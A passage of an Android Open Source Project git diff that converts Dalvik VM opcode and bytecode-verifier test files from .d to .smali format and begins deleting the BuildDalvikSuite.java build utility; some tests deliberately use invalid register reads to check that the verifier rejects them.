-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_long_2addr_6.java
-.class public dot.junit.opcodes.xor_long_2addr.d.T_xor_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 5
-
-       xor-long/2addr v1, v5
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali
new file mode 100644
index 0000000..5e62ed5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/xor_long_2addr/d/T_xor_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 5
+
+       xor-long/2addr v1, v5
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.d b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.d
deleted file mode 100644
index fae89bb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.d
+++ /dev/null
@@ -1,29 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_a1_1.java
-.class public dot.junit.verify.a1.d.T_a1_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali
new file mode 100644
index 0000000..54d3288
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a1/d/T_a1_1.smali
@@ -0,0 +1,29 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a1_1.java"
+.class  public Ldot/junit/verify/a1/d/T_a1_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.d b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.d
deleted file mode 100644
index 0f8d599..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_a3_1.java
-.class public dot.junit.verify.a3.d.T_a3_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-    nop
-    nop
-    nop
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali
new file mode 100644
index 0000000..537e922
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a3/d/T_a3_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a3_1.java"
+.class  public Ldot/junit/verify/a3/d/T_a3_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    nop
+    nop
+    nop
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.d b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.d
deleted file mode 100644
index 898e900..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_a5_1.java
-.class public dot.junit.verify.a5.d.T_a5_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-    nop
-    nop
-    nop
-    return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali
new file mode 100644
index 0000000..6422bff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/a5/d/T_a5_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_a5_1.java"
+.class  public Ldot/junit/verify/a5/d/T_a5_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+    nop
+    nop
+    nop
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.d b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.d
deleted file mode 100644
index 11715c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.d
+++ /dev/null
@@ -1,30 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b17_1.java
-.class public dot.junit.verify.b17.d.T_b17_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 2
-
-       const/16 v0, 123 
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali
new file mode 100644
index 0000000..d58a102
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b17/d/T_b17_1.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b17_1.java"
+.class  public Ldot/junit/verify/b17/d/T_b17_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 2
+
+       const/16 v0, 123 
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.d
deleted file mode 100644
index 1fe908a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b2_1.java
-.class public dot.junit.verify.b2.d.T_b2_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 123
-       move v1, v0 ; illegal read access to v1
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.smali
new file mode 100644
index 0000000..efcb876
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_1.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_1;
+.super Ljava/lang/Object;
+.source "T_b2_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x7b
+
+    move v1, v0 # illegal read access to v1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.d
deleted file mode 100644
index a885c41..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b2_2.java
-.class public dot.junit.verify.b2.d.T_b2_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 123 
-       move v0, v1 ; // illegal read access to v0
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.smali
new file mode 100644
index 0000000..2d37387
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_2;
+.super Ljava/lang/Object;
+.source "T_b2_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0x7b
+
+    move v0, v1 # illegal read access to v0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.d
deleted file mode 100644
index bf8d6e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b2_3.java
-.class public dot.junit.verify.b2.d.T_b2_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       const v0, 123 
-       const v1, 123 
-       move-wide v2, v0 ; // illegal read access to v0/1
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.smali
new file mode 100644
index 0000000..22b5702
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_3;
+.super Ljava/lang/Object;
+.source "T_b2_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 5
+
+    const v0, 0x7b
+
+    const v1, 0x7b
+
+    move-wide v2, v0 # illegal read access to v0/1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.d
deleted file mode 100644
index bb158ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b2_4.java
-.class public dot.junit.verify.b2.d.T_b2_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const-wide v0, 123
-       move v2, v0 ; // illegal read access to v0
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.smali
new file mode 100644
index 0000000..0083448
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_4;
+.super Ljava/lang/Object;
+.source "T_b2_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const-wide v0, 0x7b
+
+    move v2, v0 # illegal read access to v0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.d b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.d
deleted file mode 100644
index 483066d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b2_5.java
-.class public dot.junit.verify.b2.d.T_b2_5
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       const-wide v0, 123
-       move-wide v2, v0
-       move-wide v2, v1 ; // illegal read access to v1/2
-       return-void
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.smali b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.smali
new file mode 100644
index 0000000..80cb6df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b2/d/T_b2_5.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/verify/b2/d/T_b2_5;
+.super Ljava/lang/Object;
+.source "T_b2_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 5
+
+    const-wide v0, 0x7b
+
+    move-wide v2, v0
+
+    move-wide v2, v1 # illegal read access to v1/2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.d b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.d
deleted file mode 100644
index ffcd819..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b3_1.java
-.class public dot.junit.verify.b3.d.T_b3_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       move v2, v1
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali
new file mode 100644
index 0000000..f5a7dd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b3_1.java"
+.class  public Ldot/junit/verify/b3/d/T_b3_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       move v2, v1
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.d b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.d
deleted file mode 100644
index 96feb07..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b3_2.java
-.class public dot.junit.verify.b3.d.T_b3_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 10
-
-       const-wide v0, 123
-       long-to-int v3, v1
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali
new file mode 100644
index 0000000..a2b2564
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b3_2.java"
+.class  public Ldot/junit/verify/b3/d/T_b3_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 10
+
+       const-wide v0, 123
+       long-to-int v3, v1
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
deleted file mode 100644
index e223289..0000000
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ /dev/null
@@ -1,813 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import com.android.dex.util.FileUtils;
-
-import dot.junit.AllTests;
-import util.build.BuildStep.BuildFile;
-
-import junit.framework.TestCase;
-import junit.framework.TestResult;
-import junit.framework.TestSuite;
-import junit.textui.TestRunner;
-
-import java.io.BufferedWriter;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.OutputStreamWriter;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Scanner;
-import java.util.Set;
-import java.util.TreeSet;
-import java.util.Map.Entry;
-import java.util.regex.MatchResult;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Main class to generate data from the test suite to later run from a shell
- * script. the project's home folder.<br>
- * <project-home>/src must contain the java sources<br>
- * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
- * (one Main class for each test method in the Test_... class
- */
-public class BuildDalvikSuite {
-
-    public static final String TARGET_MAIN_FILE = "mains.jar";
-
-    public static boolean DEBUG = true;
-
-    private static String JAVASRC_FOLDER = "";
-    private static String MAIN_SRC_OUTPUT_FOLDER = "";
-
-    // the folder for the generated junit-files for the cts host (which in turn
-    // execute the real vm tests using adb push/shell etc)
-    private static String HOSTJUNIT_SRC_OUTPUT_FOLDER = "";
-    private static String OUTPUT_FOLDER = "";
-    private static String COMPILED_CLASSES_FOLDER = "";
-
-    private static String CLASSES_OUTPUT_FOLDER = "";
-    private static String HOSTJUNIT_CLASSES_OUTPUT_FOLDER = "";
-
